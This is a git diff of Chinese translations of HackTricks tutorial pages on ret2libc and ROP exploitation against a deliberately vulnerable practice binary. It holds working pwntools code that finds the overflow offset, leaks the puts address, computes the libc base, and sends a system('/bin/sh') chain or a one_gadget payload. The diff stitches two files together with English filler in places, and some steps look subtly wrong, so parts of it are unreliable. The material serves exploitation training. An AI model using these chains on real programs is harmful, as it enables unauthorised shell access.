注意:偏移量可能会因目标二进制文件的版本和运行系统而有所不同。因此,找到特定于目标二进制文件和系统的偏移量非常重要。
|
|
||||||
```bash
|
```bash
|
||||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||||
```
|
```
|
||||||
## 获取 "/bin/sh" 的偏移量
|
## 获取 "/bin/sh" 的偏移量
|
||||||
|
|
||||||
To exploit a binary using a ret2lib technique, we need to find the offset of the string "/bin/sh" in the binary's memory. This string is commonly used as an argument for functions like `system()` or `execve()` to execute commands in a shell.
|
|
||||||
|
|
||||||
To find the offset, we can use a tool like `gdb` to debug the binary. Here are the steps to follow:
|
|
||||||
|
|
||||||
1. Open the binary in `gdb` by running the command `gdb <binary_name>`.
|
|
||||||
2. Set a breakpoint at a function that uses the string "/bin/sh". For example, you can set a breakpoint at the `system()` function by running the command `break system`.
|
|
||||||
3. Start the execution of the binary by running the command `run`.
|
|
||||||
4. Once the breakpoint is hit, use the command `x/s <address>` to examine the memory at a specific address. Replace `<address>` with the address where the string "/bin/sh" is stored. For example, if the address is `0x804a030`, you can run the command `x/s 0x804a030`.
|
|
||||||
5. The output of the command will display the string "/bin/sh" along with its memory address. Note down the memory address.
|
|
||||||
|
|
||||||
By following these steps, you can determine the offset of the string "/bin/sh" in the binary's memory. This offset will be useful when crafting the payload for the ret2lib exploit.
|
|
||||||
```bash
|
```bash
|
||||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||||
```
|
```
|
||||||
## /proc/\<PID>/maps
|
## /proc/\<PID>/maps
|
||||||
|
|
||||||
如果进程每次与其交互时都会创建子进程(网络服务器),尝试读取该文件(可能需要以root身份)。
|
如果进程每次与其通信时都会创建**子进程**(网络服务器),尝试**读取**该文件(可能需要使用root权限)。
|
||||||
|
|
||||||
在这里,您可以找到libc在进程中的加载位置以及每个子进程将要加载的位置。
|
在这里,您可以找到进程内**libc加载的确切位置**以及**每个子进程将要加载的位置**。
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (95).png>)
|
![](<../../.gitbook/assets/image (95).png>)
|
||||||
|
|
||||||
在这种情况下,它加载在**0xb75dc000**(这将是libc的基地址)
|
在这种情况下,它加载在**0xb75dc000**(这将是libc的基址)
|
||||||
|
|
||||||
## 使用gdb-peda
|
## 使用gdb-peda
|
||||||
|
|
||||||
|
@ -95,11 +53,31 @@ find "/bin/sh"
|
||||||
```
|
```
|
||||||
# 绕过ASLR
|
# 绕过ASLR
|
||||||
|
|
||||||
你可以尝试暴力破解libc的基址。
|
您可以尝试对libc的基址进行暴力破解。
|
||||||
```python
|
```python
|
||||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||||
```
|
```
|
||||||
# 代码
|
# 代码
|
||||||
|
|
||||||
|
## Ret2Lib
|
||||||
|
|
||||||
|
### Introduction
|
||||||
|
|
||||||
|
In this section, we will cover the basics of Return-to-libc (Ret2Lib) attacks. These attacks are a variation of Return Oriented Programming (ROP) attacks, where instead of chaining together small code snippets (gadgets) already present in the program, we chain together function calls from the standard C library (`libc`). This technique is useful when Data Execution Prevention (DEP) is enabled, preventing the execution of code on the stack.
|
||||||
|
|
||||||
|
### Steps
|
||||||
|
|
||||||
|
1. **Find `libc` Address**: The first step is to find the address of the `libc` library in the program's memory space. This can be done by leaking addresses or using techniques like Partial Overwrite.
|
||||||
|
|
||||||
|
2. **Find Function Addresses**: Next, we need to find the addresses of the functions we want to call from `libc`. Common functions used in Ret2Lib attacks include `system`, `execve`, `bin/sh`, etc.
|
||||||
|
|
||||||
|
3. **Craft Payload**: Craft a payload that chains together the addresses of the functions in `libc` that you want to call. This payload will overwrite the return address on the stack with the address of the first function to call.
|
||||||
|
|
||||||
|
4. **Exploit**: Finally, trigger the vulnerability in the program to execute the crafted payload. This will lead to the execution of the functions from `libc` as part of the attack.
|
||||||
|
|
||||||
|
### Conclusion
|
||||||
|
|
||||||
|
Return-to-libc attacks are a powerful technique to bypass DEP and execute code from the `libc` library. By chaining together function calls, attackers can achieve their malicious goals without needing to inject code into the program's memory space.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -117,16 +95,14 @@ c.interactive() #?
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,31 +1,29 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||||
|
|
||||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# 快速简介
|
# 快速简介
|
||||||
|
|
||||||
1. **找到**溢出**偏移量**
|
1. **查找** 溢出 **偏移量**
|
||||||
2. **找到**`POP_RDI`,`PUTS_PLT`和`MAIN_PLT`的gadgets
|
2. **查找** `POP_RDI`,`PUTS_PLT` 和 `MAIN_PLT` 机关
|
||||||
3. 使用前面的gadgets来**泄漏puts或其他libc函数的内存地址**并**找到libc版本**([下载地址](https://libc.blukat.me))
|
3. 使用前述机关**泄漏puts或其他libc函数的内存地址**并**找到libc版本**([下载地址](https://libc.blukat.me))
|
||||||
4. 使用库来**计算ROP并利用它**
|
4. 利用库,**计算ROP并利用它**
|
||||||
|
|
||||||
# 其他教程和二进制文件供练习
|
# 其他教程和二进制文件以供练习
|
||||||
|
|
||||||
本教程将利用此教程中提供的代码/二进制文件进行利用:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
本教程将利用此教程中提出的代码/二进制文件进行利用:[https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
||||||
其他有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/),[https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
其他有用的教程:[https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||||
|
|
||||||
# 代码
|
# 代码
|
||||||
|
|
||||||
|
@ -45,10 +43,10 @@ return 0;
|
||||||
```bash
|
```bash
|
||||||
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||||
```
|
```
|
||||||
# ROP - 泄露 LIBC 模板
|
# ROP - 泄漏 LIBC 模板
|
||||||
|
|
||||||
我将使用此处的代码来制作漏洞利用。\
|
我将使用此处的代码来制作利用程序。\
|
||||||
下载漏洞利用并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:
|
下载利用程序并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:
|
||||||
|
|
||||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||||
|
@ -56,7 +54,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||||
|
|
||||||
# 1- 查找偏移量
|
# 1- 查找偏移量
|
||||||
|
|
||||||
在继续进行漏洞利用之前,模板需要一个偏移量。如果没有提供偏移量,它将执行必要的代码来查找它(默认情况下 `OFFSET = ""`):
|
在继续利用程序之前,模板需要一个偏移量。如果未提供任何偏移量,它将执行必要的代码来查找它(默认为 `OFFSET = ""`):
|
||||||
```bash
|
```bash
|
||||||
###################
|
###################
|
||||||
### Find offset ###
|
### Find offset ###
|
||||||
|
@ -71,7 +69,7 @@ r.sendline(payload)
|
||||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||||
return
|
return
|
||||||
```
|
```
|
||||||
**执行** `python template.py` 将打开一个带有崩溃程序的 GDB 控制台。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后,在 **python 控制台** 中获取 **偏移量**:
|
**执行** `python template.py` 会打开一个带有崩溃程序的 GDB 控制台。在该 **GDB 控制台** 中执行 `x/wx $rsp` 以获取将要覆盖 RIP 的 **字节**。最后,在 **python** 控制台中获取 **偏移量**:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
cyclic_find(0x6161616b)
|
cyclic_find(0x6161616b)
|
||||||
|
@ -81,11 +79,11 @@ cyclic_find(0x6161616b)
|
||||||
在找到偏移量(在本例中为40)后,使用该值更改模板中的OFFSET变量。\
|
在找到偏移量(在本例中为40)后,使用该值更改模板中的OFFSET变量。\
|
||||||
`OFFSET = "A" * 40`
|
`OFFSET = "A" * 40`
|
||||||
|
|
||||||
另一种方法是使用:`pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF。
|
另一种方法是使用:`pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。
|
||||||
|
|
||||||
# 2- 寻找Gadgets
|
# 2- 寻找小工具
|
||||||
|
|
||||||
现在我们需要在二进制文件中找到ROP gadgets。这些ROP gadgets将用于调用`puts`函数来找到正在使用的**libc**,然后用于**启动最终的攻击**。
|
现在我们需要在二进制文件中找到 ROP 小工具。这些 ROP 小工具将有助于调用 `puts` 来查找正在使用的 **libc**,并稍后 **启动最终的利用**。
|
||||||
```python
|
```python
|
||||||
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||||||
MAIN_PLT = elf.symbols['main']
|
MAIN_PLT = elf.symbols['main']
|
||||||
|
@ -96,15 +94,15 @@ log.info("Main start: " + hex(MAIN_PLT))
|
||||||
log.info("Puts plt: " + hex(PUTS_PLT))
|
log.info("Puts plt: " + hex(PUTS_PLT))
|
||||||
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||||||
```
|
```
|
||||||
`PUTS_PLT`是调用**puts函数**所需的。\
|
`PUTS_PLT` 用于调用 **puts 函数**。\
|
||||||
`MAIN_PLT`是在一次交互后再次调用**主函数**以便再次**利用**溢出(无限次的利用)。**它在每个ROP的末尾用于再次调用程序**。\
|
`MAIN_PLT` 用于在一次交互后再次调用 **主函数** 以便 **利用** 溢出 **再次**(无限次利用)进行。**它用于在每个 ROP 结尾调用程序**。\
|
||||||
**POP\_RDI**用于将**参数**传递给被调用的函数。
|
**POP\_RDI** 用于向被调用函数 **传递** **参数**。
|
||||||
|
|
||||||
在这一步中,您不需要执行任何操作,因为在执行过程中,pwntools将找到所有所需的内容。
|
在这一步中,您无需执行任何操作,因为在执行过程中 pwntools 将找到一切。
|
||||||
|
|
||||||
# 3- 查找LIBC库
|
# 3- 查找 LIBC 库
|
||||||
|
|
||||||
现在是时候找出正在使用的**libc库**的版本了。为此,我们将**泄漏**内存中**puts函数**的**地址**,然后我们将在该地址中搜索puts版本所在的**库版本**。
|
现在是时候找出正在使用的 **libc** 库的版本。为此,我们将 **泄漏** **内存** 中 **puts 函数** 的 **地址**,然后我们将 **搜索** 在该地址中 puts 版本所在的 **库版本**。
|
||||||
```python
|
```python
|
||||||
def get_addr(func_name):
|
def get_addr(func_name):
|
||||||
FUNC_GOT = elf.got[func_name]
|
FUNC_GOT = elf.got[func_name]
|
||||||
|
@ -133,50 +131,50 @@ if libc == "":
|
||||||
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||||||
p.interactive()
|
p.interactive()
|
||||||
```
|
```
|
||||||
要做到这一点,执行代码中最重要的一行是:
|
为了做到这一点,执行的代码中最重要的一行是:
|
||||||
```python
|
```python
|
||||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||||
```
|
```
|
||||||
这将发送一些字节,直到**覆盖** **RIP** 成为可能:`OFFSET`。\
|
这将发送一些字节,直到**覆盖** **RIP** 可能为止:`OFFSET`。\
|
||||||
然后,它将设置`POP_RDI`小工具的**地址**,以便下一个地址(`FUNC_GOT`)将保存在**RDI**寄存器中。这是因为我们想要**调用puts**,并将`PUTS_GOT`的**地址**作为puts函数在内存中的地址保存在`PUTS_GOT`指向的地址中。\
|
然后,它将设置**gadget** `POP_RDI` 的**地址**,以便下一个地址 (`FUNC_GOT`) 将被保存在**RDI** 寄存器中。这是因为我们想要**调用 puts** 并将 `PUTS_GOT` 的**地址**作为参数传递给它,因为内存中 puts 函数的**地址**保存在 `PUTS_GOT` 指向的地址中。\
|
||||||
之后,将调用`PUTS_PLT`(将`PUTS_GOT`放入**RDI**中),因此puts将**读取**`PUTS_GOT`中的内容(**puts函数在内存中的地址**)并将其**打印出来**。\
|
之后,将调用 `PUTS_PLT`(带有 `PUTS_GOT` 在**RDI** 中),因此 puts 将**读取** `PUTS_GOT` 中的内容(**内存中 puts 函数的地址**)并将其**打印出来**。\
|
||||||
最后,再次调用**main函数**,以便我们可以再次利用溢出。
|
最后,再次调用**main 函数**,以便我们可以再次利用溢出。
|
||||||
|
|
||||||
这样,我们成功欺骗了puts函数,使其**打印出**位于**libc**库中的**puts函数的内存地址**。现在,我们有了该地址,我们可以**搜索正在使用的libc版本**。
|
这样,我们已经**欺骗 puts 函数**将**打印**出**puts**函数的**内存中的地址**(位于**libc**库中)。现在我们有了该地址,我们可以**查找正在使用的 libc 版本**。
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (141).png>)
|
![](<../../../.gitbook/assets/image (141).png>)
|
||||||
|
|
||||||
由于我们正在**利用**一些**本地**二进制文件,因此**不需要**找出正在使用的**libc**版本(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到该库)。\
|
由于我们正在**利用**一些**本地**二进制文件,**不需要**弄清楚正在使用的**libc**版本(只需在`/lib/x86_64-linux-gnu/libc.so.6`中找到该库)。\
|
||||||
但是,在远程利用的情况下,我将在这里解释如何找到它:
|
但是,在远程利用案例中,我将在这里解释如何找到它:
|
||||||
|
|
||||||
## 3.1- 搜索libc版本(1)
|
## 3.1- 搜索 libc 版本(1)
|
||||||
|
|
||||||
您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\
|
您可以在网页上搜索正在使用的库:[https://libc.blukat.me/](https://libc.blukat.me)\
|
||||||
它还允许您下载发现的**libc**版本
|
它还将允许您下载发现的**libc**版本
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (142).png>)
|
![](<../../../.gitbook/assets/image (142).png>)
|
||||||
|
|
||||||
## 3.2- 搜索libc版本(2)
|
## 3.2- 搜索 libc 版本(2)
|
||||||
|
|
||||||
您还可以执行以下操作:
|
您也可以执行以下操作:
|
||||||
|
|
||||||
* `$ git clone https://github.com/niklasb/libc-database.git`
|
* `$ git clone https://github.com/niklasb/libc-database.git`
|
||||||
* `$ cd libc-database`
|
* `$ cd libc-database`
|
||||||
* `$ ./get`
|
* `$ ./get`
|
||||||
|
|
||||||
这需要一些时间,请耐心等待。\
|
这将需要一些时间,请耐心等待。\
|
||||||
为了使其工作,我们需要:
|
为了使其工作,我们需要:
|
||||||
|
|
||||||
* Libc符号名称:`puts`
|
* Libc 符号名称:`puts`
|
||||||
* 泄漏的libc地址:`0x7ff629878690`
|
* 泄漏的 libc 地址:`0x7ff629878690`
|
||||||
|
|
||||||
我们可以找出最有可能使用的**libc**版本。
|
我们可以找出最有可能使用的**libc**。
|
||||||
```
|
```
|
||||||
./find puts 0x7ff629878690
|
./find puts 0x7ff629878690
|
||||||
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
||||||
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
||||||
```
|
```
|
||||||
我们找到了2个匹配项(如果第一个不起作用,您可以尝试第二个)。下载第一个:
|
我们得到2个匹配项(如果第一个不起作用,请尝试第二个)。下载第一个:
|
||||||
```
|
```
|
||||||
./download libc6_2.23-0ubuntu10_amd64
|
./download libc6_2.23-0ubuntu10_amd64
|
||||||
Getting libc6_2.23-0ubuntu10_amd64
|
Getting libc6_2.23-0ubuntu10_amd64
|
||||||
|
@ -185,7 +183,7 @@ Getting libc6_2.23-0ubuntu10_amd64
|
||||||
-> Extracting package
|
-> Extracting package
|
||||||
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||||||
```
|
```
|
||||||
将`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`中的libc复制到我们的工作目录中。
|
将`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so`中的libc复制到我们的工作目录。
|
||||||
|
|
||||||
## 3.3- 用于泄漏的其他函数
|
## 3.3- 用于泄漏的其他函数
|
||||||
```python
|
```python
|
||||||
|
@ -195,13 +193,13 @@ __libc_start_main
|
||||||
read
|
read
|
||||||
gets
|
gets
|
||||||
```
|
```
|
||||||
# 4- 寻找基于libc的地址并进行利用
|
# 4- 寻找基于libc地址并利用
|
||||||
|
|
||||||
在这一步中,我们应该知道使用的libc库。由于我们正在利用本地二进制文件,我将只使用:`/lib/x86_64-linux-gnu/libc.so.6`
|
在这一点上,我们应该知道使用的libc库。由于我们正在利用本地二进制文件,我将仅使用:`/lib/x86_64-linux-gnu/libc.so.6`
|
||||||
|
|
||||||
因此,在`template.py`的开头,将**libc**变量更改为:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #当知道路径时设置库路径`
|
因此,在`template.py`的开头将**libc**变量更改为:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||||||
|
|
||||||
将**libc库的路径**提供给**exploit的其余部分将自动计算**。
|
给出**libc库**的**路径**,其余的**利用将自动计算**。
|
||||||
|
|
||||||
在`get_addr`函数内,将计算**libc的基地址**:
|
在`get_addr`函数内,将计算**libc的基地址**:
|
||||||
```python
|
```python
|
||||||
|
@ -210,10 +208,10 @@ libc.address = leak - libc.symbols[func_name] #Save libc base
|
||||||
log.info("libc base @ %s" % hex(libc.address))
|
log.info("libc base @ %s" % hex(libc.address))
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
请注意,**最终的libc基地址必须以00结尾**。如果不是这种情况,可能会泄漏错误的库。
|
请注意,**最终的libc基址必须以00结尾**。如果不是这种情况,您可能已经泄漏了一个不正确的库。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
然后,函数`system`的地址和字符串"/bin/sh"的**地址**将从**libc的基地址**和给定的**libc库**中进行**计算**。
|
然后,函数`system`的地址和字符串_"/bin/sh"_的**地址**将从**libc的基地址**计算得出,并给出**libc库**。
|
||||||
```python
|
```python
|
||||||
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||||||
SYSTEM = libc.sym["system"]
|
SYSTEM = libc.sym["system"]
|
||||||
|
@ -222,7 +220,7 @@ EXIT = libc.sym["exit"]
|
||||||
log.info("bin/sh %s " % hex(BINSH))
|
log.info("bin/sh %s " % hex(BINSH))
|
||||||
log.info("system %s " % hex(SYSTEM))
|
log.info("system %s " % hex(SYSTEM))
|
||||||
```
|
```
|
||||||
最后,将准备好的/bin/sh执行漏洞利用发送出去:
|
最后,/bin/sh执行利用将被准备发送:
|
||||||
```python
|
```python
|
||||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||||
|
|
||||||
|
@ -232,21 +230,18 @@ p.sendline(rop2)
|
||||||
#### Interact with the shell #####
|
#### Interact with the shell #####
|
||||||
p.interactive() #Interact with the conenction
|
p.interactive() #Interact with the conenction
|
||||||
```
|
```
|
||||||
让我们解释一下这个最终的ROP。
|
让我们解释这个最终的ROP。\
|
||||||
|
最后一个ROP (`rop1`) 结束时再次调用了 main 函数,然后我们可以再次利用**溢出**(这就是为什么 `OFFSET` 再次出现在这里)。然后,我们想要调用 `POP_RDI` 指向 _"/bin/sh"_ 的地址(`BINSH`),并调用 **system** 函数(`SYSTEM`),因为 _"/bin/sh"_ 的地址将作为参数传递。\
|
||||||
|
最后,**调用 exit 函数的地址**,这样进程就会**正常退出**,不会生成任何警报。
|
||||||
|
|
||||||
最后一个ROP(`rop1`)再次调用了main函数,因此我们可以再次利用溢出漏洞(这就是为什么`OFFSET`再次出现的原因)。然后,我们想要调用`POP_RDI`指向"/bin/sh"的地址(`BINSH`),并调用system函数(`SYSTEM`),因为"/bin/sh"的地址将作为参数传递。
|
**这样,利用程序将执行一个**_**/bin/sh**_** shell。**
|
||||||
|
|
||||||
最后,调用exit函数的地址,以便进程正常退出,不会生成任何警报。
|
|
||||||
|
|
||||||
这样,利用程序将执行一个"/bin/sh" shell。
|
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (143).png>)
|
![](<../../../.gitbook/assets/image (143).png>)
|
||||||
|
|
||||||
# 4(2)- 使用ONE_GADGET
|
# 4(2)- 使用 ONE\_GADGET
|
||||||
|
|
||||||
您还可以使用[ONE_GADGET](https://github.com/david942j/one_gadget)来获取一个shell,而不是使用system和"/bin/sh"。ONE_GADGET将在libc库中找到一种只使用一个ROP地址就能获取shell的方法。
|
您也可以使用 [**ONE\_GADGET**](https://github.com/david942j/one_gadget) 来获取一个 shell,而不是使用 **system** 和 **"/bin/sh"**。**ONE\_GADGET** 将在 libc 库中找到一种方法,只使用一个 **ROP 地址**就可以获取一个 shell。\
|
||||||
|
然而,通常会有一些限制条件,最常见且易于避免的是 `[rsp+0x30] == NULL`。由于您可以控制 **RSP** 中的值,所以只需发送更多的 NULL 值,就可以避免这个限制条件。
|
||||||
然而,通常会有一些限制条件,最常见且容易避免的是`[rsp+0x30] == NULL`。由于您可以控制RSP中的值,只需发送更多的NULL值即可避免这个限制条件。
|
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (615).png>)
|
![](<../../../.gitbook/assets/image (615).png>)
|
||||||
```python
|
```python
|
||||||
|
@ -255,7 +250,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||||
```
|
```
|
||||||
# EXPLOIT文件
|
# EXPLOIT文件
|
||||||
|
|
||||||
您可以在此处找到利用此漏洞的模板:
|
您可以在这里找到利用此漏洞的模板:
|
||||||
|
|
||||||
{% content-ref url="rop-leaking-libc-template.md" %}
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
||||||
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
||||||
|
@ -263,9 +258,9 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||||
|
|
||||||
# 常见问题
|
# 常见问题
|
||||||
|
|
||||||
## 未找到MAIN_PLT = elf.symbols\['main']
|
## MAIN_PLT = elf.symbols\['main']未找到
|
||||||
|
|
||||||
如果找不到"main"符号。那么您可以查看主要代码的位置:
|
如果找不到"main"符号。那么您可以找到主代码所在的位置:
|
||||||
```python
|
```python
|
||||||
objdump -d vuln_binary | grep "\.text"
|
objdump -d vuln_binary | grep "\.text"
|
||||||
Disassembly of section .text:
|
Disassembly of section .text:
|
||||||
|
@ -275,13 +270,13 @@ Disassembly of section .text:
|
||||||
```python
|
```python
|
||||||
MAIN_PLT = 0x401080
|
MAIN_PLT = 0x401080
|
||||||
```
|
```
|
||||||
## 找不到Puts函数
|
## 未找到Puts
|
||||||
|
|
||||||
如果二进制文件没有使用Puts函数,你应该检查是否使用了
|
如果二进制文件没有使用Puts,您应该检查它是否在使用
|
||||||
|
|
||||||
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||||
|
|
||||||
